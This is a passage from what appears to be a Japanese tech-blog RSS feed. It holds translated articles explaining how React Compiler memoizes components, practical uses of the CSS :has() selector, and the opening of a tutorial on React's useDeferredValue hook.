.list-with-checkboxes li:has(input:checked) { background: rgba(196, 244, 255, 0.3); }

こちらのライブプレビューをご覧ください。


素晴らしいと思いませんか?お気に入りの:hasの使い方がある方は、ぜひコメントで共有してください!

もちろん、セレクタを使用してReactコードを単純化する方法は他にもたくさんあります。ここに挙げたのは、筆者が特に気に入っているごく一部の例にすぎません。:hasセレクタについてもっと学び、色んな実例を試してみたい方は、例が豊富で内容的にも良い記事を以下に挙げていますので、ぜひ参照してみてください。

ここ数年のCSSの進歩を考えると、5年後くらいにはReactが必要なくなっているかもしれません。🤯もしそうなれば面白いですね!

]]>
<![CDATA[React Compilerについて理解する]]><![CDATA[Reactのコアアーキテクチャは、与えられた関数(すなわちコンポーネント)を繰り返し呼び出します。この仕組みはReactのメンタルモデルを単純化し、その人気に一役を買いましたが、同時にパフォーマンス…]]>https://postd.cc/understanding-react-compiler/https://postd.cc/understanding-react-compiler/<![CDATA[開発手法・プロジェクト管理]]><![CDATA[React]]>Fri, 27 Sep 2024 00:00:01 GMT<![CDATA[

Reactのコアアーキテクチャは、与えられた関数(すなわちコンポーネント)を繰り返し呼び出します。この仕組みはReactのメンタルモデルを単純化し、その人気に一役を買いましたが、同時にパフォーマンスの問題が生じる原因にもなりました。関数のパフォーマンスコストが高いと、アプリの動作は総じて遅くなります。

開発者はReactにどの関数をいつ再実行するか手動で指示しなくてはならなかったため、パフォーマンスチューニングが悩みの種になっていました。Reactチームが最近リリースしたReact Compilerというツールは、コードを書き直すことにより、開発者が手動で行っていたパフォーマンスチューニングの作業を自動化します。

React Compilerはコードに何をするのでしょうか?裏ではどのような処理が行われるのでしょうか?使った方がいいのでしょうか?こうした疑問について詳しく見ていきたいと思います。

none

Reactの内部実装について詳しく学び、完全で正確なメンタルモデルを得たい方は、Understanding Reactという筆者の新しいコースでReactのソースコードを掘り下げて説明していますので、ぜひチェックしてみてください。Reactの使用経験が豊富な開発者でも、内部実装の理解を深めることは大いに役立ちます。

コンパイラ、トランスパイラ、オプティマイザ

モダンJavaScriptのエコシステムでは、コンパイラ、トランスパイラ、オプティマイザという用語がよく聞かれます。これらは何でしょうか?

トランスパイル

トランスパイラとは、コードを解析し、同等の機能を持つコードを別のプログラミング言語で出力するか、調整を加えたコードを同じプログラミング言語で出力するプログラムです。

React開発者は何年も前からトランスパイラを使用し、JSXをJavaScriptエンジンが実際に実行するコードに変換してきました。JSXは、基本的にはネストされた関数のツリー(これらはネストされたオブジェクトツリーを構築)を作成するための省略記法です。

ネストされた関数を記述するのは面倒でミスが生じやすいため、JSXは開発者を大いに助けます。トランスパイラはJSXを解析し、関数に変換するために必要です。

例えば、JSXを使用して次のReactコードを記述したとします。

none

読みやすさに配慮し、このブログ記事ではコードはすべて大幅に簡略化しています。

function App() {
    return <Item item={item} />;
}

function Item({ item }) {
    return (
        <ul>
            <li>{ item.desc }</li>
        </ul>
    )
}

これをトランスパイルすると、次のようになります。

function App() {
  return _jsx(Item, {
    item: item
  });
}

function Item({ item }) {
  return _jsx("ul", {
    children: _jsx("li", {
      children: item.desc
    })
  });
}

こちらが実際にブラウザに送られるコードです。HTMLのような構文ではなく、Reactでは「props」と呼ばれるプレーンなJavaScriptオブジェクトを渡す、ネストされた関数です。

none

トランスパイルの結果は、JSX内でif文を簡単に使用できない理由を示しています。関数内ではif文を使用できません。

Babelを使用すればJSXを素早くトランスパイルし、出力結果を確認できます。

コンパイルと最適化

では、トランスパイラとコンパイラの違いは何でしょうか? その答えは、回答者のバックグラウンドや経験によって異なるでしょう。コンピューターサイエンス分野を歩んできた人であれば、大抵はコンパイラと言えば記述したコードを機械語(プロセッサが理解できるバイナリコード)に変換するプログラムという認識だと思います。

しかし、トランスパイラは「source-to-source compilers」とも呼ばれます。オプティマイザは「最適化コンパイラ」とも呼ばれます。つまり、トランスパイラとオプティマイザもコンパイラの一種なのです。

物事に名前を付けるのは簡単ではありません。したがって、何をもってトランスパイラ、コンパイラ、あるいはオプティマイザと呼ぶのかについては意見の相違があるでしょう。理解すべき重要な点は、トランスパイラも、コンパイラも、オプティマイザも、コードが記述されたテキストファイルを解析し、同等の機能を持つ別のコードを新しいテキストファイルに出力するプログラムだということです。コードを改良する場合もあれば、別の人が書いたコードを呼び出すコールで自分のコードの一部をラップすることで、新しい機能を追加する場合もあります。

none

トランスパイラ、コンパイラ、オプティマイザは、コードが記述されたテキストファイルを解析し、同等の機能を持つ別のコードを出力するプログラムです。

React Compilerが行うのは後者です。あなたが書いたコードと同等の機能を持つコードを作成しますが、他のReact開発者が書いたコードを呼び出すコールであなたのコードの一部をラップします。そうすることで、あなたが意図したことに加え、プラスアルファの機能を備えたコードに書き換えます。その「プラスアルファ」が何かについては後ほど説明します。

抽象構文木(Abstract Syntax Trees)

ここで言うコードの「解析」とは、コードを1文字ずつ構文解析し、アルゴリズムを実行することで、コードをどう調整し、書き換えるか、どのようにして機能を追加するかなどを明らかにすることを言います。通常、構文解析の結果は抽象構文木(AST)として出力されます。

そう言うと仰々しく聞こえますが、要はコードを分析しやすいようツリー構造で表したものです。

例えば、次の1行がコードに含まれていたとします。

const item = { id: 0, desc: 'Hi' };

これを抽象構文木で表すと、次のようになります。

{
    type: VariableDeclarator,
    id: {
        type: Identifier,
        name: Item
    },
    init: {
        type: ObjectExpression,
        properties: [
            {
                type: ObjectProperty,
                key: id,
                value: 0
            },
            {
                type: ObjectProperty,
                key: desc,
                value: 'Hi'
            }
        ]
    }
}

生成されたデータ構造は、あなたが書いたコードを定義付けされた要素ごとに分解して説明します。各要素には、それがどういったものかを表す情報や、ひも付けされている値があればその値が含まれます。例えば、desc: 'Hi'ObjectPropertyであり、'desc'という keyと'Hi'というvalueがひも付けされています。

これが、トランスパイラやコンパイラなどがコードに対して行う処理について考える上でのメンタルモデルです。いずれも、あなたが書いたコード(テキストそのもの)をデータ構造に変換し、解析し、調整するために作成されたプログラムです。

最終的に生成されるコードはこのASTがもとになり、おそらくその他にもいくつかの中間言語が関与します。このデータ構造を繰り返し使用し、テキストを出力します(同じ言語で書かれた新しいコード、違う言語で書かれたコード、あるいは何らかの調整が加えられたコード)。

React Compilerは、ASTと中間言語の両方を使用し、あなたが書いたコードをもとに新しいReactコードを生成します。React自体がそうですが、React Compilerも「誰かが書いたコード」だということを忘れないでください。

コンパイラやトランスパイラ、オプティマイザなどのツールを謎めいたブラックボックスだとは考えないでください。時間さえあれば、自分にも作れるものだと考えましょう。

Reactのコアアーキテクチャ

React Compilerについて話す前に、明確にしておくべき概念があといくつかあります。

Reactのコアアーキテクチャがその人気の源泉であると同時に、パフォーマンスの問題の原因にもなり得ることはお話したかと思います。JSXを書く際、実際にはネストされた関数を記述しているのだということは説明した通りです。しかし、関数はReactに渡され、それをいつ呼び出すかはReactが判断します。

多数のアイテムを扱うReactアプリの最初の部分を例に見てみましょう。App関数はいくつかのアイテムを取得し、List関数はそれらを処理して表示すると仮定します。

function App() {
    // TODO: fetch some items here
    return <List items={items} />;
}

function List({ items }) {
    const pItems = processItems(items);
    const listItems = pItems.map((item) => <li>{ item }</li>);
    return (
        <ul>{ listItems }</ul>
    )
}

これらの関数は、子(ここでは最終的に複数のliオブジェクトになる)を含むulオブジェクトのようなプレーンなJavaScriptオブジェクトを返します。ulやliなどの一部のオブジェクトはReactに組み込まれています。Listなど、それ以外のオブジェクトは自分で作成します。

最終的に、Reactはこれらすべてのオブジェクトを使ってFiberツリーと呼ばれるものを構築します。ツリーの各ノードはFiber、またはFiberノードと呼ばれます。UIを説明するためにJavaScriptオブジェクトからなる独自のノードツリーを作成することを、「仮想DOM」を作成すると言います。

Reactでは、ツリーの各ノードから枝分かれする2本の枝があります。1つは"current"(DOMと一致)、もう1つは"work-in-progress"(関数を再実行した際に返された内容をもとに構築したツリーと一致)の枝(ツリー)です。

Reactはこれら2つのツリーを比較した上で、DOMがwork-in-progress側のツリーと一致するように実際のDOMに対して行う変更を判断します。このプロセスを「差分検出処理(reconciliation)」と呼びます。

したがって、他にどのような機能をアプリに追加するかによっては、ReactはUIの更新が必要だと判断するたびにList関数を繰り返し呼び出すかもしれません。そうするとメンタルモデルはかなり分かりやすくなります。UIの更新が必要な場合(例えば、ユーザーがボタンをクリックした場合など)、UIを定義する関数が再び呼び出され、Reactは関数が定義するUIの外観と一致するように、ブラウザ上で実際のDOMをどう更新するかを判断します。

しかし、processItems関数が遅いと、Listを呼び出すコールも遅くなり、アプリ全体の反応が遅くなってしまいます。

メモ化

パフォーマンスコストの高い関数を繰り返し呼び出す必要がある場合、プログラミングによる解決策として、関数の結果をキャッシュします。このプロセスを「メモ化」と呼びます。

メモ化が機能するためには、関数が「純粋」でなくてはなりません。つまり、関数に同じ入力値を渡した場合、毎回同じ出力が得られなくてはならないということです。出力が毎回同じであれば、入力値と関連付けた形で出力を保存することができます。

次にそのパフォーマンスコストの高い関数を呼び出した際には、入力値を見て、同じ入力値の関数をすでに実行済みかをキャッシュで確認します。すでに実行していれば、再度その関数を呼び出すのではなく、キャッシュに保存された出力を取得します。前回その入力値が使用されたときと出力が同じであることが分かっているので、再度関数を呼び出す必要はありません。

前述のコード例で使用したprocessItems関数がメモ化を実装した場合、次のようになります。

function processItems(items) {
    const memOutput = getItemsOutput(items);
    if (memOutput) {
        return memOutput;
    } else {
        // ...run expensive processing
        saveItemsOutput(items, output);
        return output;
    }
}

saveItemsOutput関数は、アイテムと、この関数と関連する出力の両方を保存するオブジェクトを格納するものだと考えてください。getItemsOutputは、itemがすでに保存されているかを確認し、保存されていればそれ以上の作業は行わず、キャッシュに保存された関連する出力を返します。

関数を繰り返し呼び出すReactのアーキテクチャにとって、メモ化はアプリの動作が遅くならないようにするための重要な技術です。

Hooksの保存

React Compilerを理解するために理解する必要のあるReactのアーキテクチャがもう1つあります。

アプリの「state」(UIの作成に必要なデータ)が変わると、Reactは再度関数を呼び出す必要があるか判断します。例えば、値がtrueかfalseである"showButton"というデータの場合、このデータの値に応じて、UIはボタンを表示するか、非表示にする必要があります。

Reactはクライアントのデバイス上にstateを保存します。どうやって保存するのでしょうか。いくつかのアイテムをレンダリングし、操作するReactアプリを例に見てみましょう。最終的に選択されたアイテムを保存し、アイテムをクライアント側でレンダリングし、イベントを処理し、リストをソートすると仮定します。アプリは次のようになります。

function App() {
    // TODO: fetch some items here
    return <List items={items} />;
}

function List({ items }) {
    const [selItem, setSelItem] = useState(null);
    const [itemEvent, dispatcher] = useReducer(reducer, {});
    const [sort, setSort] = useState(0);

    const pItems = processItems(items);
    const listItems = pItems.map((item) => <li>{ item }</li>);
    return (
        <ul>{ listItems }</ul>
    )
}

JavaScriptエンジンがuseStateuseReducerの行を実行した際、何が起きるでしょうか。Listコンポーネントをもとに作成したFiberツリーのノードには、データを保存するためのJavaScriptオブジェクトがいくつか追加されています。各オブジェクトは互いに連結し、連結リストと呼ばれるデータ構造になっています。

none

多くの開発者は、useStateがReactにおけるstate管理の肝だと考えていますが、そうではありません。これは単に、useReducerを呼び出すコールのラッパーです。

useStateuseReducerを呼び出すと、ReactはstateをFiberツリーに付け加え、アプリが実行されている間、これらは保持されます。したがって、関数が繰り返し再実行される間、stateはいつでも利用できる状態にあります。

none

Hooksの保存方法は、Hooksをループまたはif文の中で呼び出せないという「Hooksのルール」の説明にもなります。Hooksを呼び出すたびに、Reactは連結リストの次のアイテムに移動します。したがって、Hooksを呼び出す回数は一貫している必要があります。一貫していないと、Reactは連結リストの中の間違ったアイテムを指す場合があります。

結局、Hooksはユーザーデバイスのメモリ上にデータ(および関数)を保存するオブジェクトに過ぎないのです。これは、React Compilerが実際に行う処理を理解する上で重要です。ただし、それだけではありません。

Reactにおけるメモ化

Reactは、メモ化の概念とHooksの保存の概念を組み合わせています。Fiberツリーの一部であり、Reactに渡すすべての関数(Listなど)の結果をメモ化することも、それらの中で呼び出す個別の関数(processItemsなど)をメモ化することもできます。

キャッシュは、stateと同じようにFiberツリー上に保存されます。例えば、useMemouseMemoを呼び出すノード上に入力値と出力を保存します。

つまり、Reactにはパフォーマンスコストの高い関数の結果を、Fiberツリーの一部であるJavaScriptオブジェクトの連結リストに保存するという概念がすでに備わっているということです。これは素晴らしいことですが、1つ問題があります。メンテナンスです。

Reactにおけるメモ化は、メモ化が依存する入力値を明示的にReactに伝える必要があるため、面倒です。processItemsを呼び出すコールは次のようになります。

const pItems = useMemo(processItems(items), [items]);

最後の配列は「依存関係」のリスト、すなわち変更されたらReactに再度関数を呼び出すよう指示する入力値です。これらの入力値が正しくないと、メモ化は正しく機能しません。事務的な雑務として維持し続ける必要があります。

React Compiler

ここでReact Compilerの登場です。React Compilerは、Reactコードのテキストを解析し、JSXのトランスパイルを行うための準備ができた新しいコードを生成するプログラムです。ただし、その新しいコードには追加された要素があります。

この場合、React Compilerがアプリに対してどのような処理を行うのか見てみましょう。以下はコンパイル前の状態です。

function App() {
    // TODO: fetch some items here
    return <List items={items} />;
}

function List({ items }) {
    const [selItem, setSelItem] = useState(null);
    const [itemEvent, dispatcher] = useReducer(reducer, {});
    const [sort, setSort] = useState(0);

    const pItems = processItems(items);
    const listItems = pItems.map((item) => <li>{ item }</li>);
    return (
        <ul>{ listItems }</ul>
    )
}

コンパイル後は次のようになります。

function App() {
  const $ = _c(1);

  let t0;

  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
    t0 = <List items={items} />;
    $[0] = t0;
  } else {
    t0 = $[0];
  }

  return t0;
}

function List(t0) {
  const $ = _c(6);

  const { items } = t0;
  useState(null);
  let t1;

  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
    t1 = {};
    $[0] = t1;
  } else {
    t1 = $[0];
  }

  useReducer(reducer, t1);
  useState(0);
  let t2;

  if ($[1] !== items) {
    const pItems = processItems(items);
    let t3;

    if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
      t3 = (item) => <li>{item}</li>;

      $[3] = t3;
    } else {
      t3 = $[3];
    }

    t2 = pItems.map(t3);
    $[1] = items;
    $[2] = t2;
  } else {
    t2 = $[2];
  }

  const listItems = t2;
  let t3;

  if ($[4] !== listItems) {
    t3 = <ul>{listItems}</ul>;
    $[4] = listItems;
    $[5] = t3;
  } else {
    t3 = $[5];
  }

  return t3;
}

これが新しく書き直されたList関数です。かなりの情報量なので、少し分解して説明します。

冒頭に次の行があります。

const $ = _c(6);

この_c関数("c"は「キャッシュ」を表します)は、Hooksを使用して保存される配列を作成します。React CompilerはLink関数を解析し、パフォーマンスを最大限に高めるには6つのものを保存する必要があると判断したのです。最初に関数が呼び出されたとき、その6つのものの結果を配列に保存します。

次に関数が呼び出されたときにはキャッシュが使われます。例として、processItemsを呼び出す部分を見てみましょう。

if ($[1] !== items) {
    const pItems = processItems(items);
    let t3;

    if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
        t3 = (item) => <li>{item}</li>;
        $[3] = t3;
    } else {
        t3 = $[3];
    }

    t2 = pItems.map(t3);
    $[1] = items;
    $[2] = t2;
} else {
    t2 = $[2];
}

関数の呼び出しとliの生成の両方を含む、processItemsに関するすべての処理がラップされた状態で、配列で2番目のキャッシュ($[1])が、前回関数が呼び出されたときと同じ入力値かどうかを確認します(Listに渡されるitemsの値)。

同じであれば、キャッシュ配列で3番目の位置($[2])が使われます。itemsのマッピングが完了すると、生成されたすべてのliのリストが保存されます。React Compilerのコードはこう言っているのです。「前回この関数を呼び出したときと同じアイテムのリストを渡してくれたら、前回キャッシュに保存したliのリストをあげます。」

前回と違うitemsを渡すと、processItemsを呼び出します。その場合でも、リストの中の個々のアイテムについての情報をキャッシュに保存します。

if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
    t3 = (item) => <li>{item}</li>;
    $[3] = t3;
} else {
    t3 = $[3];
}

t3 = の行をご覧ください。liを返すアロー関数を再度作成するのではなく、キャッシュ配列で4番目の位置($[3])に関数自体を保存しています。これにより、JavaScriptエンジンは次にListが読み出されたときにこの関数を作成する必要がなくなります。この関数は決して変わることがないため、最初のif文は基本的にこう言っています。「キャッシュ配列のこの場所が空いているならキャッシュしてください。空いていなければキャッシュから取得してください。」

このようにして、Reactは自動的に値をキャッシュし、関数の結果をメモ化します。Reactが出力するコードは我々が書いたコードと機能は同じですが、これらの値をキャッシュするためのコードを含んでおり、Reactが繰り返し関数を呼び出すことでパフォーマンスが損なわれないようにしています。

ただし、React Compilerのキャッシュは開発者が一般的にメモ化で行うキャッシュよりも詳細であり、しかも自動的にこれを行っています。つまり、開発者は手動で依存関係やメモ化を管理する必要がないのです。コードさえ書けば、React Compilerがそれをもとに新しいコードを生成し、キャッシュを利用することで高速化も実現してくれます。

React CompilerがまだJSXを生成していることも言っておくべきでしょう。実際に実行されるコードは、JSXのトランスパイルを行った上でReact Compilerが生成したものです。

JavaScriptエンジンで実際に実行される(ブラウザに送られるか、サーバー上で実行される)List関数は、次のようなものです。

function List(t0) {
  const $ = _c(6);
  const {
    items
  } = t0;
  useState(null);
  let t1;
  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
    t1 = {};
    $[0] = t1;
  } else {
    t1 = $[0];
  }
  useReducer(reducer, t1);
  useState(0);
  let t2;
  if ($[1] !== items) {
    const pItems = processItems(items);
    let t3;
    if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
      t3 = item => _jsx("li", {
        children: item
      });
      $[3] = t3;
    } else {
      t3 = $[3];
    }
    t2 = pItems.map(t3);
    $[1] = items;
    $[2] = t2;
  } else {
    t2 = $[2];
  }
  const listItems = t2;
  let t3;
  if ($[4] !== listItems) {
    t3 = _jsx("ul", {
      children: listItems
    });
    $[4] = listItems;
    $[5] = t3;
  } else {
    t3 = $[5];
  }
  return t3;
}

React Compilerは、値をキャッシュするための配列と、そのために必要なすべてのif文を追加しました。JSXトランスパイラはJSXをネストされた関数に変換しました。あなたが書いたコードとJavaScriptエンジンが実行するコードの間には大きな違いがあります。つまり、他人が書いたコードが、自分が当初意図したとおりのものを生成してくれることを信用する必要があります。

CPUの命令サイクルとデバイスメモリのトレードオフ

メモ化とキャッシュは、大まかに言うとメモリを犠牲にしてCPUへの負荷を軽減することを意味します。CPUがパフォーマンスコストの高い演算を行わなくて済む代わりに、メモリ容量を消費してデータを保存しているのです。

React Compilerを使用するということは、デバイスのメモリ上にできるだけデータを保存するということです。ユーザーデバイスのブラウザ上でコードを実行する場合、この点はアーキテクチャの面で意識する必要があります。

多くのReactアプリでは大きな問題にならないでしょう。しかし、アプリ上で大量のデータを扱う場合、実験ステージを経たReact Compilerを使うのであれば、少なくともデバイスメモリが使用されることを意識し、メモリの使用状況を注視する必要があるでしょう。

抽象化とデバッグ

形式を問わず、コンパイルはすべて自分が書いたコードと実際に実行されるコードの間の抽象化レイヤーに相当します。

この記事で説明したように、React Compilerの場合、実際にブラウザに送られるコードの内容を理解するためには、自分のコードをReact Compilerにかけて、生成されたコードをJSXトランスパイラにかけてみる必要があります。

コードに抽象化レイヤーを加えることにはデメリットもあります。デバッグが難しくなる場合があるのです。だからと言って使用を避けた方がいいというわけではありませんが、デバッグ対象のコードは自分が書いたものだけではなく、ツールが生成したものだということは頭に入れておく必要があります。

抽象化レイヤーから生成されたコードをデバッグする上では、抽象化について正確なメンタルモデルを持っておくことが成果を大きく左右します。React Compilerの仕組みを完全に理解することで、生成されたコードをデバッグできるようになり、ストレスなく開発作業を行えるようになるでしょう。

さらに深く掘り下げる

このブログ記事が有益だと感じていただけたなら、筆者が提供しているUnderstanding Reactというコースもぜひご検討ください。計16.5時間にわたり、Reactのあらゆる機能について同様に深く掘り下げています。生涯にわたるアクセス権とすべてのソースコード、修了証が得られます。

筆者はReactのソースコードも、React Compilerのソースコードも、すべて読みました。なぜかと言うと、Reactの仕組みを内部実装レベルから説明できるようにするためです。

React自体は、Webを基礎とし、その上に構築された大きな抽象化レイヤーです。抽象化ではよくあることですが、Reactを使用する開発者のほとんどは、その仕組みについて正確なメンタルモデルを持っていません。それが、Reactベースのアプリケーションをビルドし、デバッグする上で大きな影響を及ぼしています。しかし、Reactについて深く理解することは可能です。

React 19の機能とReact Compilerに関する新しい内容を近々コースに追加する予定です。すでに受講されている方は無料でご利用いただけます。コースの方もぜひチェックしてみてください。最初の6時間分の内容は、筆者のYouTubeチャンネルで無料公開しています。以下がその動画です。

単に誰かが書いたコードをまねするだけではなく、自分の仕事を本当の意味で理解する旅に、一緒に出かけてみませんか? -- トニー

]]>
<![CDATA[まだまだある実例に沿った:has()の使い方]]><![CDATA[:has()疑似クラスは筆者が断トツで一番気に入っているCSSの新機能です。筆者と同じ意見の読者も多いでしょう。少なくとも、State of CSSのアンケートに回答した方の中には多くいるはずです。…]]>https://postd.cc/more-real-world-uses-for-has/https://postd.cc/more-real-world-uses-for-has/<![CDATA[開発手法・プロジェクト管理]]><![CDATA[CSS]]>Fri, 30 Aug 2024 00:00:01 GMT<![CDATA[

:has()疑似クラスは筆者が断トツで一番気に入っているCSSの新機能です。筆者と同じ意見の読者も多いでしょう。少なくとも、State of CSSのアンケートに回答した方の中には多くいるはずです。セレクタを逆向きに指定できることで、これまでできると思いもしなかったようなすごいことがもっと可能になります。

「もっと」と言うのは、すでに多くの人が極めてスマートなアイデアを色々と発表しているからです。以下に一部紹介します。

この記事は、:has()の使い方に関する包括的なガイドではありません。すでに誰かが語ったことを繰り返しているわけでもありません。ちょっとだけ流行に乗って(hi👋)筆者が考えている:has()の使い方を紹介できればと思い、この記事を書いています。ただし、実際に使うのはブラウザ側の対応がもう少し進んでからですが。(Firefoxだけが未対応ですが、もうすぐ対応すると思います。)(※訳註 2024年8月現在は対応済)

その日が来れば、間違いなく:has()を使いまくるでしょう。筆者が最近ビルドした実例から、:has()の恩恵を特に受けそうなものをいくつか紹介します。

JavaScriptコンポーネントの外部要素と連携しなくて済む

ページの他の部分のスタイルを変える必要のあるインタラクティブコンポーネントを作成したことはありますか? 次の例をご覧ください。ここで、<nav>メガメニューを表し、開くとその上の<header>コンテンツの色が変わります。

筆者の仕事ではこうした処理がしょっちゅう必要になります。

これは、筆者があるサイトで使用するために作ったReactコンポーネントです。この例では、document.querySelector(...)を使用してページのReact以外の部分と連携し、<body><header>または別のコンポーネントのクラスを切り替える必要がありました。この世の終わりというほどのことではありませんが、面倒であることに違いありません。全部Reactで記述したサイト(Next.jsサイトなど)であっても、menuIsOpenのstateをコンポーネントツリーのずっと上の方で管理するか、あまりReact的ではありませんが、先程挙げた例と同じように、DOM要素の取得とクラスの切り替えを行う必要があります。

この問題は、:has()を使うことで解決します。

header:has(.megamenu--open) {
  /* style the header differently if it contains 
    an element with the class ".megamenu--open"
  */
}

JavaScriptコンポーネントの他のDOM要素をいじる必要はもうありません!

ストライプテーブル作成UXの向上

1行おきに背景色を追加した「ストライプテーブル」は、UXの向上に役立ちます。行を目で追いやすくなるため、表が見やすくなります。 しかし、筆者の経験では2、3行しかない表ではあまりうまく行きません。例えば、<tbody>が3行の表で「偶数」行に背景色を付けた場合、色付きの行は1行だけになります。そうするとあまり意味はなく、ハイライトされた1行に何か特別な意味があるのではないかと逆にユーザーを困惑させてしまうことになり兼ねません。

Bramus氏が:has()を使用して子の数に応じてスタイルを使い分ける方法を説明していますが、このテクニックを使用することで、4行以上ある表にストライプスタイルを適用することができます。

もっと手の込んだことがしたければ、列の数が一定数以上の場合のみストライプスタイルを適用することもできます。

table:has(:is(td, th):nth-child(3)) {
  /* only do stuff if there are three or more columns */
}

テンプレートから条件ロジックを含むクラスを取り除く

ページの内容に応じてレイアウトを変えなくてはならないことがよくあります。以下のグリッドレイアウトをご覧ください。サイドバーの有無に応じて、メインコンテンツが配置されるグリッド領域が変わっています。

これは、CMSに兄弟ページが設定されているかどうかで変わる可能性があります。筆者は通常、両方のレイアウトに対応するため、テンプレートロジックを使用してレイアウトのラッパーにBEM修飾子クラスを条件付きで追加しています。その場合、CSSは次のようになります(簡略化のため、レスポンシブルールなどは省いています)。

/* m = main content */
/* s = sidebar */
.standard-page--with-sidebar {
  grid-template-areas: 's s s m m m m m m m m m';
}
.standard-page--without-sidebar {
  grid-template-areas: '. m m m m m m m m m . .';
}

CSS的には、もちろんこれでも全く問題ありません。しかし、若干ごちゃごちゃしたテンプレートコードにはなってしまいます。テンプレートに使用する言語によっては、多くのクラスを条件付きで追加すると、かなり乱雑な見た目になってしまう場合があります。多くの子要素も使用しなければならない場合は特にそうです。

では、:has()を使ったやり方と比べてみてください。

/* m = main content */
/* s = sidebar */
.standard-page:has(.sidebar) {
  grid-template-areas: 's s s m m m m m m m m m';
}
.standard-page:not(:has(.sidebar)) {
  grid-template-areas: '. m m m m m m m m m . .';
}

正直なところ、CSS的にはそれほど大きな改善ではありません。しかし、HTMLテンプレートからモディファイアー部分のクラス名を省けるのはプラスだと思います。

:has()を使ったデザインの小技は簡単に思い浮かびます(例えば画像入りのカードなど)が、こうしたレイアウトの大きな変更にもかなり威力を発揮すると思います。

詳細度を管理しやすい

前回の記事を読んだ方であれば、筆者が詳細度にうるさいことはご存じかと思います。筆者のように、スタイル全体に:has()や:not()を追加することで詳細度が上がりすぎるのを避けたい場合は、:where()を使用するようにしましょう。

これは、:has()の詳細度は引数リストの中で最も詳細度の高い要素に基づくためです。したがって、IDのようなものが含まれていれば(なぜかは分かりませんが)、カスケード上でセレクタがオーバーライドされにくくなります。

一方、:where()の詳細度は常にゼロなので、詳細度が上がることはありません。

/* specificity score: 0,1,0.
  Same as a .standard-page--with-sidebar 
  modifier class
*/
.standard-page:where(:has(.sidebar)) {
  /* etc */
}

未来は明るい

これらはほんの一部ですが、本番環境で使えるようになるのが待ち遠しいです。(※訳註 2024年8月現在は対応済) CSS-Tricks Almanacでも多くの実例が紹介されています。皆さんは:has()を使ってどんなことがしたいですか? あなたが実際に直面したシチュエーションで、:has()が完璧な解決策になりそうなものはこれまでにありましたか?

]]>
<![CDATA[useDeferredValueを使用してUIを素早く最適化する]]><![CDATA[登場以来、Reactはアプリケーションのパフォーマンスを最適化するためのツールを多数供してきました。中には極めて有益でありながら、あまり知られていないものもあります。はその一つです。このツールは、特…]]>https://postd.cc/use-deferred-value/https://postd.cc/use-deferred-value/<![CDATA[開発手法・プロジェクト管理]]><![CDATA[React]]>Mon, 22 Jul 2024 00:00:01 GMT<![CDATA[

登場以来、Reactはアプリケーションのパフォーマンスを最適化するためのツールを多数供してきました。中には極めて有益でありながら、あまり知られていないものもあります。useDeferredValueはその一つです。このツールは、特定の状況においてユーザーエクスペリエンスを大きく左右することができます。⚡

筆者は最近このフックを使用し、このブログの厄介なパフォーマンス問題を解決したのですが、そのあまりの効果に衝撃を受けました。低性能デバイスでは反則級の改善が見られ、まるで黒魔術のようでした。

useDeferredValueには若干気後れさせるような評判があり、実際かなり洗練されたツールではあるのですが、正しいメンタルモデルで向き合えば恐るるに足りません。このチュートリアルでは、その仕組みと、アプリケーションのパフォーマンスを劇的に改善させる使い方を詳しく説明します。

問題

数年前、筆者は本物のような影を生成するShadow Palette Generatorというツールをリリースしました。

スライダーなどのUIコントロールを動かしてみることで、自分だけの影をデザインすることができます。CSSコードを自分のアプリケーションにコピペすることも可能です。

問題は次の点です。このUI上のコントロールは、「即座に」結果が反映されるよう設計されています。例えば、ユーザーが「Oomph」スライダーを動かすと、その効果がすぐに見られます。つまり、スライダーを動かす間、UIが「1秒間に数十回再レンダリングされる」ということです。

Reactは高速ですし、このUIの大部分は容易にアップデート可能です。問題は、シンタックスハイライトされた下部のコードスニペットです。

シンタックスハイライトの処理は驚くほど複雑です。まず、rawコードを「トークン化」する必要があります。この工程では、コードをいくつかに分けてラベルを付けます。各トークンには異なる色を付けられるため、それぞれ<span>タグでラップする必要があります。

このスニペットの中の1行に対して必要なマークアップの量は以下の通りです。

最適化していない状態だと、Reactはこれだけのマークアップを 1秒間に何十回も再計算する必要があります。ほとんどのデバイスでは、ブラウザの処理が追いつかず、画面がカクカクします。

changeイベントは1秒間に最大60回発生しますが、UIが1秒間に処理できる更新の数はわずかです。UIの質が低く、反応が悪いと感じるのはそのためです。

これは興味深い問題です。このUIで最も重要な部分は、影の外観を示した左側の図です。この部分は、ユーザーが設定変更の影響を把握できるよう、変更が行われたら直ちに更新することが望まれます。また、コントロール自体も反応良くスムーズに動かないといけません。

一方、コードスニペットは1秒間に何十回も更新する必要はありません。ユーザーにとって重要なのは、自分のアプリケーションにコピーする最終的なコードだけです。変更を加えるたびに再計算を行うと、ユーザーエクスペリエンス全体が損なわれてしまいます。 言い換えると、このUIには優先度の高い領域(High Priority)と低い領域(Low Priority)があるということです。

優先度の高い領域はリアルタイムに、できるだけ迅速に更新し、優先度の低い領域は後回しにします。

不完全なソリューション

この問題を解決するために、私は当初「スロットリング」という手法を用いました。具体的に言うと、このコンポーネントに対して200ミリ秒ごとにしか再レンダリングできないように制限をかけたのです。 その結果がこちらです。

UIの他の部分に比べてコードスニペットの更新頻度が低いことに気づいたでしょうか。UIの他の部分は必要に応じて何度でも再レンダリングできますが、この部分は200ミリ秒に1回、つまり1秒間に5回しか更新されません。

この方法でも問題は改善しますが、完全なソリューションと言うには程遠い結果です。

まだ少し遅く、低品質に感じます。UIの一部を意図的に遅くしていることはユーザーには分からないので。

もっと重要な点は、超高性能な最新のコンピューターや低価格の古いAndroidスマホなど、人によって使用するデバイスはさまざまだということです。ユーザーのデバイスが十分高速なら、スロットリングは不要であり、意味もなく処理速度を下げているだけです。一方、デバイスが本当に遅ければ、200ミリ秒でさえ十分ではない可能性があり、そうするとUIの重要な部分がスムーズに表示されません。

こうした問題の解決に有効なのが、useDeferredValueです。

useDeferredValueの紹介

useDeferredValueは、UIを優先度の高い領域と低い領域に切り分けられるReactフックです。何か重要なことが起きると、Reactが処理を中断できるようにします。

仕組みを理解するために、簡単な例から見ていきましょう。次のコードをご覧ください。

function App() {
  const [count, setCount] = React.useState(0);
  return (
    <>
